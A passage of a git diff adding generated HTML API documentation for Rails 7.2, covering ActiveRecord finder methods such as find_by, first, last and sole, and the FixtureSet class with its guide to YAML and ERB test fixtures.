If no record is found, returns nil.

+ +
Post.find_by name: 'Spartacus', rating: 4
+Post.find_by "published_at < ?", 2.weeks.ago
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 111
+    def find_by(arg, *args)
+      where(arg, *args).take
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_by!(arg, *args) + +

+ + +
+

Like find_by, except that if no record is found, raises an ActiveRecord::RecordNotFound error.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 117
+    def find_by!(arg, *args)
+      where(arg, *args).take!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_sole_by(arg, *args) + +

+ + +
+

Finds the sole matching record. Raises ActiveRecord::RecordNotFound if no record is found. Raises ActiveRecord::SoleRecordExceeded if more than one record is found.

+ +
Product.find_sole_by(["price = %?", price])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 160
+    def find_sole_by(arg, *args)
+      where(arg, *args).sole
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + first(limit = nil) + +

+ + +
+

Find the first record (or first N records if a parameter is supplied). If no order is defined it will order by primary key.

+ +
Person.first # returns the first object fetched by SELECT * FROM people ORDER BY people.id LIMIT 1
+Person.where(["user_name = ?", user_name]).first
+Person.where(["user_name = :u", { u: user_name }]).first
+Person.order("created_on DESC").offset(5).first
+Person.first(3) # returns the first three objects fetched by SELECT * FROM people ORDER BY people.id LIMIT 3
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 173
+    def first(limit = nil)
+      if limit
+        find_nth_with_limit(0, limit)
+      else
+        find_nth 0
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + first!() + +

+ + +
+

Same as first but raises ActiveRecord::RecordNotFound if no record is found. Note that first! accepts no arguments.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 183
+    def first!
+      first || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + forty_two() + +

+ + +
+

Find the forty-second record. Also known as accessing β€œthe reddit”. If no order is defined it will order by primary key.

+ +
Person.forty_two # returns the forty-second object fetched by SELECT * FROM people
+Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44)
+Person.where(["user_name = :u", { u: user_name }]).forty_two
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 287
+    def forty_two
+      find_nth 41
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + forty_two!() + +

+ + +
+

Same as forty_two but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 293
+    def forty_two!
+      forty_two || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fourth() + +

+ + +
+

Find the fourth record. If no order is defined it will order by primary key.

+ +
Person.fourth # returns the fourth object fetched by SELECT * FROM people
+Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6)
+Person.where(["user_name = :u", { u: user_name }]).fourth
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 255
+    def fourth
+      find_nth 3
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fourth!() + +

+ + +
+

Same as fourth but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 261
+    def fourth!
+      fourth || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + include?(record) + +

+ + +
+

Returns true if the relation contains the given record or false otherwise.

+ +

No query is performed if the relation is loaded; the given record is compared to the records in memory. If the relation is unloaded, an efficient existence query is performed, as in exists?.

+
+ + + +
+ Also aliased as: member? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 389
+    def include?(record)
+      # The existing implementation relies on receiving an Active Record instance as the input parameter named record.
+      # Any non-Active Record object passed to this implementation is guaranteed to return `false`.
+      return false unless record.is_a?(klass)
+
+      if loaded? || offset_value || limit_value || having_clause.any?
+        records.include?(record)
+      else
+        id = if record.class.composite_primary_key?
+          record.class.primary_key.zip(record.id).to_h
+        else
+          record.id
+        end
+
+        exists?(id)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last(limit = nil) + +

+ + +
+

Find the last record (or last N records if a parameter is supplied). If no order is defined it will order by primary key.

+ +
Person.last # returns the last object fetched by SELECT * FROM people
+Person.where(["user_name = ?", user_name]).last
+Person.order("created_on DESC").offset(5).last
+Person.last(3) # returns the last three objects fetched by SELECT * FROM people.
+
+ +

Take note that in that last case, the results are sorted in ascending order:

+ +
[#<Person id:2>, #<Person id:3>, #<Person id:4>]
+
+ +

and not:

+ +
[#<Person id:4>, #<Person id:3>, #<Person id:2>]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 202
+    def last(limit = nil)
+      return find_last(limit) if loaded? || has_limit_or_offset?
+
+      result = ordered_relation.limit(limit)
+      result = result.reverse_order!
+
+      limit ? result.reverse : result.first
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last!() + +

+ + +
+

Same as last but raises ActiveRecord::RecordNotFound if no record is found. Note that last! accepts no arguments.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 213
+    def last!
+      last || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + member?(record) + +

+ + +
+ +
+ + + + + +
+ Alias for: include? +
+ + + + +
+ +
+

+ + second() + +

+ + +
+

Find the second record. If no order is defined it will order by primary key.

+ +
Person.second # returns the second object fetched by SELECT * FROM people
+Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4)
+Person.where(["user_name = :u", { u: user_name }]).second
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 223
+    def second
+      find_nth 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second!() + +

+ + +
+

Same as second but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 229
+    def second!
+      second || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second_to_last() + +

+ + +
+

Find the second-to-last record. If no order is defined it will order by primary key.

+ +
Person.second_to_last # returns the second-to-last object fetched by SELECT * FROM people
+Person.offset(3).second_to_last # returns the second-to-last object from OFFSET 3
+Person.where(["user_name = :u", { u: user_name }]).second_to_last
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 319
+    def second_to_last
+      find_nth_from_last 2
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second_to_last!() + +

+ + +
+

Same as second_to_last but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 325
+    def second_to_last!
+      second_to_last || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sole() + +

+ + +
+

Finds the sole matching record. Raises ActiveRecord::RecordNotFound if no record is found. Raises ActiveRecord::SoleRecordExceeded if more than one record is found.

+ +
Product.where(["price = %?", price]).sole
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 143
+    def sole
+      found, undesired = first(2)
+
+      if found.nil?
+        raise_record_not_found_exception!
+      elsif undesired.present?
+        raise ActiveRecord::SoleRecordExceeded.new(self)
+      else
+        found
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + take(limit = nil) + +

+ + +
+

Gives a record (or N records if a parameter is supplied) without any implied order. The order will depend on the database implementation. If an order is supplied it will be respected.

+ +
Person.take # returns an object fetched by SELECT * FROM people LIMIT 1
+Person.take(5) # returns 5 objects fetched by SELECT * FROM people LIMIT 5
+Person.where(["name LIKE '%?'", name]).take
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 128
+    def take(limit = nil)
+      limit ? find_take_with_limit(limit) : find_take
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + take!() + +

+ + +
+

Same as take but raises ActiveRecord::RecordNotFound if no record is found. Note that take! accepts no arguments.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 134
+    def take!
+      take || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third() + +

+ + +
+

Find the third record. If no order is defined it will order by primary key.

+ +
Person.third # returns the third object fetched by SELECT * FROM people
+Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5)
+Person.where(["user_name = :u", { u: user_name }]).third
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 239
+    def third
+      find_nth 2
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third!() + +

+ + +
+

Same as third but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 245
+    def third!
+      third || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third_to_last() + +

+ + +
+

Find the third-to-last record. If no order is defined it will order by primary key.

+ +
Person.third_to_last # returns the third-to-last object fetched by SELECT * FROM people
+Person.offset(3).third_to_last # returns the third-to-last object from OFFSET 3
+Person.where(["user_name = :u", { u: user_name }]).third_to_last
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 303
+    def third_to_last
+      find_nth_from_last 3
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third_to_last!() + +

+ + +
+

Same as third_to_last but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 309
+    def third_to_last!
+      third_to_last || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/FixtureSet.html b/src/7.2/classes/ActiveRecord/FixtureSet.html new file mode 100644 index 0000000000..4db28c39be --- /dev/null +++ b/src/7.2/classes/ActiveRecord/FixtureSet.html @@ -0,0 +1,1374 @@ +--- +title: ActiveRecord::FixtureSet +layout: default +--- +
+ +
+
+ +
+ +

Active Record Fixtures

+ +

Fixtures are a way of organizing data that you want to test against; in short, sample data.

+ +

They are stored in YAML files, one file per model, which are by default placed in either <your-rails-app>/test/fixtures/ or in the test/fixtures folder under any of your application’s engines.

+ +

The location can also be changed with ActiveSupport::TestCase.fixture_paths=, once you have require "rails/test_help" in your test_helper.rb.

+ +

The fixture file ends with the .yml file extension, for example: <your-rails-app>/test/fixtures/web_sites.yml).

+ +

The format of a fixture file looks like this:

+ +
rubyonrails:
+  id: 1
+  name: Ruby on Rails
+  url: http://www.rubyonrails.org
+
+google:
+  id: 2
+  name: Google
+  url: http://www.google.com
+
+ +

This fixture file includes two fixtures. Each YAML fixture (i.e. record) is given a name and is followed by an indented list of key/value pairs in the β€œkey: value” format. Records are separated by a blank line for your viewing pleasure.

+ +

Ordering

+ +

Fixtures by default are unordered. This is because the maps in YAML are unordered.

+ +

If you want ordered fixtures, use the omap YAML type. See yaml.org/type/omap.html for the specification.

+ +

You will need ordered fixtures when you have foreign key constraints on keys in the same table. This is commonly needed for tree structures.

+ +

For example:

+ +
--- !omap
+- parent:
+    id:         1
+    parent_id:  NULL
+    title:      Parent
+- child:
+    id:         2
+    parent_id:  1
+    title:      Child
+
+ +

Using Fixtures in Test Cases

+ +

Since fixtures are a testing construct, we use them in our unit and functional tests. There are two ways to use the fixtures, but first let’s take a look at a sample unit test:

+ +
require "test_helper"
+
+class WebSiteTest < ActiveSupport::TestCase
+  test "web_site_count" do
+    assert_equal 2, WebSite.count
+  end
+end
+
+ +

By default, test_helper.rb will load all of your fixtures into your test database, so this test will succeed.

+ +

The testing environment will automatically load all the fixtures into the database before each test. To ensure consistent data, the environment deletes the fixtures before running the load.

+ +

In addition to being available in the database, the fixture’s data may also be accessed by using a special dynamic method, which has the same name as the model.

+ +

Passing in a fixture name to this dynamic method returns the fixture matching this name:

+ +
test "find one" do
+  assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+end
+
+ +

Passing in multiple fixture names returns all fixtures matching these names:

+ +
test "find all by name" do
+  assert_equal 2, web_sites(:rubyonrails, :google).length
+end
+
+ +

Passing in no arguments returns all fixtures:

+ +
test "find all" do
+  assert_equal 2, web_sites.length
+end
+
+ +

Passing in any fixture name that does not exist will raise StandardError:

+ +
test "find by name that does not exist" do
+  assert_raise(StandardError) { web_sites(:reddit) }
+end
+
+ +

If the model names conflicts with a TestCase methods, you can use the generic fixture accessor

+ +
test "generic find" do
+  assert_equal "Ruby on Rails", fixture(:web_sites, :rubyonrails).name
+end
+
+ +

Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests:

+ +
test "find_alt_method_1" do
+  assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+end
+
+test "find_alt_method_2" do
+  assert_equal "Ruby on Rails", @rubyonrails.name
+end
+
+ +

In order to use these methods to access fixtured data within your test cases, you must specify one of the following in your ActiveSupport::TestCase-derived class:

+
  • +

    to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)

    + +
    self.use_instantiated_fixtures = true
    +
    +
  • +

    create only the hash for the fixtures, do not β€˜find’ each instance (enable alternate method #1 only)

    + +
    self.use_instantiated_fixtures = :no_instances
    +
    +
+ +

Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully traversed in the database to create the fixture hash and/or instance variables. This is expensive for large sets of fixtured data.

+ +

Dynamic fixtures with ERB

+ +

Sometimes you don’t care about the content of the fixtures as much as you care about the volume. In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load testing, like:

+ +
<% 1.upto(1000) do |i| %>
+fix_<%= i %>:
+  id: <%= i %>
+  name: guy_<%= i %>
+<% end %>
+
+ +

This will create 1000 very simple fixtures.

+ +

Using ERB, you can also inject dynamic values into your fixtures with inserts like <%= Date.today.strftime("%Y-%m-%d") %>. This is however a feature to be used with some caution. The point of fixtures are that they’re stable units of predictable sample data. If you feel that you need to inject dynamic values, then perhaps you should reexamine whether your application is properly testable. Hence, dynamic values in fixtures are to be considered a code smell.

+ +

Helper methods defined in a fixture will not be available in other fixtures, to prevent against unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module that is included in ActiveRecord::FixtureSet.context_class.

+
  • +

    define a helper method in test_helper.rb

    + +
    module FixtureFileHelpers
    +  def file_sha(path)
    +    OpenSSL::Digest::SHA256.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
    +  end
    +end
    +ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
    +
    +
  • +

    use the helper method in a fixture

    + +
    photo:
    +  name: kitten.png
    +  sha: <%= file_sha 'files/kitten.png' %>
    +
    +
+ +

Transactional Tests

+ +

Test cases can use begin+rollback to isolate their changes to the database instead of having to delete+insert for every test case.

+ +
class FooTest < ActiveSupport::TestCase
+  self.use_transactional_tests = true
+
+  test "godzilla" do
+    assert_not_empty Foo.all
+    Foo.destroy_all
+    assert_empty Foo.all
+  end
+
+  test "godzilla aftermath" do
+    assert_not_empty Foo.all
+  end
+end
+
+ +

If you preload your test database with all fixture data (probably by running bin/rails db:fixtures:load) and use transactional tests, then you may omit all fixtures declarations in your test cases since all the data’s already there and every case rolls back its changes.

+ +

In order to use instantiated fixtures with preloaded data, set self.pre_loaded_fixtures to true. This will provide access to fixture data for every table that has been loaded through fixtures (depending on the value of use_instantiated_fixtures).

+ +

When not to use transactional tests:

+
  1. +

    You’re testing whether a transaction works correctly. Nested transactions don’t commit until all parent transactions commit, particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won’t be able to verify the results of your transaction until Active Record supports nested transactions or savepoints (in progress).

    +
  2. +

    Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. Use InnoDB, MaxDB, or NDB instead.

    +
+ +

Advanced Fixtures

+ +

Fixtures that don’t specify an ID get some extra features:

+
  • +

    Stable, autogenerated IDs

    +
  • +

    Label references for associations (belongs_to, has_one, has_many)

    +
  • +

    HABTM associations as inline lists

    +
+ +

There are some more advanced features available even if the id is specified:

+
  • +

    Autofilled timestamp columns

    +
  • +

    Fixture label interpolation

    +
  • +

    Support for YAML defaults

    +
+ +

Stable, Autogenerated IDs

+ +

Here, have a monkey fixture:

+ +
george:
+  id: 1
+  name: George the Monkey
+
+reginald:
+  id: 2
+  name: Reginald the Pirate
+
+ +

Each of these fixtures has two unique identifiers: one for the database and one for the humans. Why don’t we generate the primary key instead? Hashing each fixture’s label yields a consistent ID:

+ +
george: # generated id: 503576764
+  name: George the Monkey
+
+reginald: # generated id: 324201669
+  name: Reginald the Pirate
+
+ +

Active Record looks at the fixture’s model class, discovers the correct primary key, and generates it right before inserting the fixture into the database.

+ +

The generated ID for a given label is constant, so we can discover any fixture’s ID without loading anything, as long as we know the label.

+ +

Label references for associations (belongs_to, has_one, has_many)

+ +

Specifying foreign keys in fixtures can be very fragile, not to mention difficult to read. Since Active Record can figure out the ID of any fixture from its label, you can specify FK’s by label instead of ID.

+ +

belongs_to

+ +

Let’s break out some more monkeys and pirates.

+ +
### in pirates.yml
+
+reginald:
+  id: 1
+  name: Reginald the Pirate
+  monkey_id: 1
+
+ +

+ +
### in monkeys.yml
+
+george:
+  id: 1
+  name: George the Monkey
+  pirate_id: 1
+
+ +

Add a few more monkeys and pirates and break this into multiple files, and it gets pretty hard to keep track of what’s going on. Let’s use labels instead of IDs:

+ +
### in pirates.yml
+
+reginald:
+  name: Reginald the Pirate
+  monkey: george
+
+ +

+ +
### in monkeys.yml
+
+george:
+  name: George the Monkey
+  pirate: reginald
+
+ +

Pow! All is made clear. Active Record reflects on the fixture’s model class, finds all the belongs_to associations, and allows you to specify a target label for the association (monkey: george) rather than a target id for the FK (monkey_id: 1).

+ +

Polymorphic belongs_to

+ +

Supporting polymorphic relationships is a little bit more complicated, since Active Record needs to know what type your association is pointing at. Something like this should look familiar:

+ +
### in fruit.rb
+
+belongs_to :eater, polymorphic: true
+
+ +

+ +
### in fruits.yml
+
+apple:
+  id: 1
+  name: apple
+  eater_id: 1
+  eater_type: Monkey
+
+ +

Can we do better? You bet!

+ +
apple:
+  eater: george (Monkey)
+
+ +

Just provide the polymorphic target type and Active Record will take care of the rest.

+ +

has_and_belongs_to_many or has_many :through

+ +

Time to give our monkey some fruit.

+ +
### in monkeys.yml
+
+george:
+  id: 1
+  name: George the Monkey
+
+ +

+ +
### in fruits.yml
+
+apple:
+  id: 1
+  name: apple
+
+orange:
+  id: 2
+  name: orange
+
+grape:
+  id: 3
+  name: grape
+
+ +

+ +
### in fruits_monkeys.yml
+
+apple_george:
+  fruit_id: 1
+  monkey_id: 1
+
+orange_george:
+  fruit_id: 2
+  monkey_id: 1
+
+grape_george:
+  fruit_id: 3
+  monkey_id: 1
+
+ +

Let’s make the HABTM fixture go away.

+ +
### in monkeys.yml
+
+george:
+  id: 1
+  name: George the Monkey
+  fruits: apple, orange, grape
+
+ +

+ +
### in fruits.yml
+
+apple:
+  name: apple
+
+orange:
+  name: orange
+
+grape:
+  name: grape
+
+ +

Zap! No more fruits_monkeys.yml file. We’ve specified the list of fruits on George’s fixture, but we could’ve just as easily specified a list of monkeys on each fruit. As with belongs_to, Active Record reflects on the fixture’s model class and discovers the has_and_belongs_to_many associations.

+ +

Autofilled Timestamp Columns

+ +

If your table/model specifies any of Active Record’s standard timestamp columns (created_at, created_on, updated_at, updated_on), they will automatically be set to Time.now.

+ +

If you’ve set specific values, they’ll be left alone.

+ +

Fixture label interpolation

+ +

The label of the current fixture is always available as a column value:

+ +
geeksomnia:
+  name: Geeksomnia's Account
+  subdomain: $LABEL
+  email: $LABEL@email.com
+
+ +

Also, sometimes (like when porting older join table fixtures) you’ll need to be able to get a hold of the identifier for a given label. ERB to the rescue:

+ +
george_reginald:
+  monkey_id: <%= ActiveRecord::FixtureSet.identify(:reginald) %>
+  pirate_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
+
+ +

If the model uses UUID values for identifiers, add the :uuid argument:

+ +
ActiveRecord::FixtureSet.identify(:boaty_mcboatface, :uuid)
+
+ +

Support for YAML defaults

+ +

You can set and reuse defaults in your fixtures YAML file. This is the same technique used in the database.yml file to specify defaults:

+ +
DEFAULTS: &DEFAULTS
+  created_on: <%= 3.weeks.ago.to_fs(:db) %>
+
+first:
+  name: Smurf
+  <<: *DEFAULTS
+
+second:
+  name: Fraggle
+  <<: *DEFAULTS
+
+ +

Any fixture labeled β€œDEFAULTS” is safely ignored.

+ +

Besides using β€œDEFAULTS”, you can also specify what fixtures will be ignored by setting β€œignore” in β€œ_fixture” section.

+ +
# users.yml
+_fixture:
+  ignore:
+    - base
+  # or use "ignore: base" when there is only one fixture that needs to be ignored.
+
+base: &base
+  admin: false
+  introduction: "This is a default description"
+
+admin:
+  <<: *base
+  admin: true
+
+visitor:
+  <<: *base
+
+ +

In the above example, β€˜base’ will be ignored when creating fixtures. This can be used for common attributes inheriting.

+ +

Composite Primary Key Fixtures

+ +

Fixtures for composite primary key tables are fairly similar to normal tables. When using an id column, the column may be omitted as usual:

+ +
# app/models/book.rb
+class Book < ApplicationRecord
+  self.primary_key = [:author_id, :id]
+  belongs_to :author
+end
+
+ +

+ +
# books.yml
+alices_adventure_in_wonderland:
+  author_id: <%= ActiveRecord::FixtureSet.identify(:lewis_carroll) %>
+  title: "Alice's Adventures in Wonderland"
+
+ +

However, in order to support composite primary key relationships, you must use the β€˜composite_identify` method:

+ +
# app/models/book_orders.rb
+class BookOrder < ApplicationRecord
+  self.primary_key = [:shop_id, :id]
+  belongs_to :order, foreign_key: [:shop_id, :order_id]
+  belongs_to :book, foreign_key: [:author_id, :book_id]
+end
+
+ +

+ +
# book_orders.yml
+alices_adventure_in_wonderland_in_books:
+  author: lewis_carroll
+  book_id: <%= ActiveRecord::FixtureSet.composite_identify(
+               :alices_adventure_in_wonderland, Book.primary_key)[:id] %>
+  shop: book_store
+  order_id: <%= ActiveRecord::FixtureSet.composite_identify(
+               :books, Order.primary_key)[:id] %>
+
+ +

Configure the fixture model class

+ +

It’s possible to set the fixture’s model class directly in the YAML file. This is helpful when fixtures are loaded outside tests and set_fixture_class is not available (e.g. when running bin/rails db:fixtures:load).

+ +
_fixture:
+  model_class: User
+david:
+  name: David
+
+ +

Any fixtures labeled β€œ_fixture” are safely ignored.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
MAX_ID=2**30 - 1
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + config
+ [R] + fixtures
+ [R] + ignored_fixtures
+ [R] + model_class
+ [R] + name
+ [R] + table_name
+ + + + +

Class Public methods

+ +
+

+ + cache_fixtures(connection_pool, fixtures_map) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 578
+      def cache_fixtures(connection_pool, fixtures_map)
+        cache_for_connection_pool(connection_pool).update(fixtures_map)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_for_connection_pool(connection_pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 562
+      def cache_for_connection_pool(connection_pool)
+        @@all_cached_fixtures[connection_pool]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cached_fixtures(connection_pool, keys_to_fetch = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 570
+      def cached_fixtures(connection_pool, keys_to_fetch = nil)
+        if keys_to_fetch
+          cache_for_connection_pool(connection_pool).values_at(*keys_to_fetch)
+        else
+          cache_for_connection_pool(connection_pool).values
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + composite_identify(label, key) + +

+ + +
+

Returns a consistent, platform-independent hash representing a mapping between the label and the subcomponents of the provided composite key.

+ +

Example:

+ +
composite_identify("label", [:a, :b, :c]) # => { a: hash_1, b: hash_2, c: hash_3 }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 635
+      def composite_identify(label, key)
+        key
+          .index_with
+          .with_index { |sub_key, index| (identify(label) << index) % MAX_ID }
+          .with_indifferent_access
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + context_class() + +

+ + +
+

Superclass for the evaluation contexts used by ERB fixtures.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 643
+      def context_class
+        @context_class ||= Class.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_fixtures(fixtures_directories, fixture_set_names, class_names = {}, config = ActiveRecord::Base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 597
+      def create_fixtures(fixtures_directories, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
+        fixture_set_names = Array(fixture_set_names).map(&:to_s)
+        class_names.stringify_keys!
+
+        connection_pool = config.connection_pool
+        fixture_files_to_read = fixture_set_names.reject do |fs_name|
+          fixture_is_cached?(connection_pool, fs_name)
+        end
+
+        if fixture_files_to_read.any?
+          fixtures_map = read_and_insert(
+            Array(fixtures_directories),
+            fixture_files_to_read,
+            class_names,
+            connection_pool,
+          )
+          cache_fixtures(connection_pool, fixtures_map)
+        end
+        cached_fixtures(connection_pool, fixture_set_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fixture_is_cached?(connection_pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 566
+      def fixture_is_cached?(connection_pool, table_name)
+        cache_for_connection_pool(connection_pool)[table_name]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + identify(label, column_type = :integer) + +

+ + +
+

Returns a consistent, platform-independent identifier for label.

+ +

Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 621
+      def identify(label, column_type = :integer)
+        if column_type == :uuid
+          Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, label.to_s)
+        else
+          Zlib.crc32(label.to_s) % MAX_ID
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instantiate_all_loaded_fixtures(object, load_instances = true) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 591
+      def instantiate_all_loaded_fixtures(object, load_instances = true)
+        all_loaded_fixtures.each_value do |fixture_set|
+          instantiate_fixtures(object, fixture_set, load_instances)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instantiate_fixtures(object, fixture_set, load_instances = true) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 582
+      def instantiate_fixtures(object, fixture_set, load_instances = true)
+        return unless load_instances
+        fixture_set.each do |fixture_name, fixture|
+          object.instance_variable_set "@#{fixture_name}", fixture.find
+        rescue FixtureClassNotFound
+          nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(_, name, class_name, path, config = ActiveRecord::Base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 715
+    def initialize(_, name, class_name, path, config = ActiveRecord::Base)
+      @name     = name
+      @path     = path
+      @config   = config
+
+      self.model_class = class_name
+      @fixtures = read_fixture_files(path)
+
+      @table_name = model_class&.table_name || self.class.default_fixture_table_name(name, config)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_cache() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 558
+      def reset_cache
+        @@all_cached_fixtures.clear
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](x) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 726
+    def [](x)
+      fixtures[x]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(k, v) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
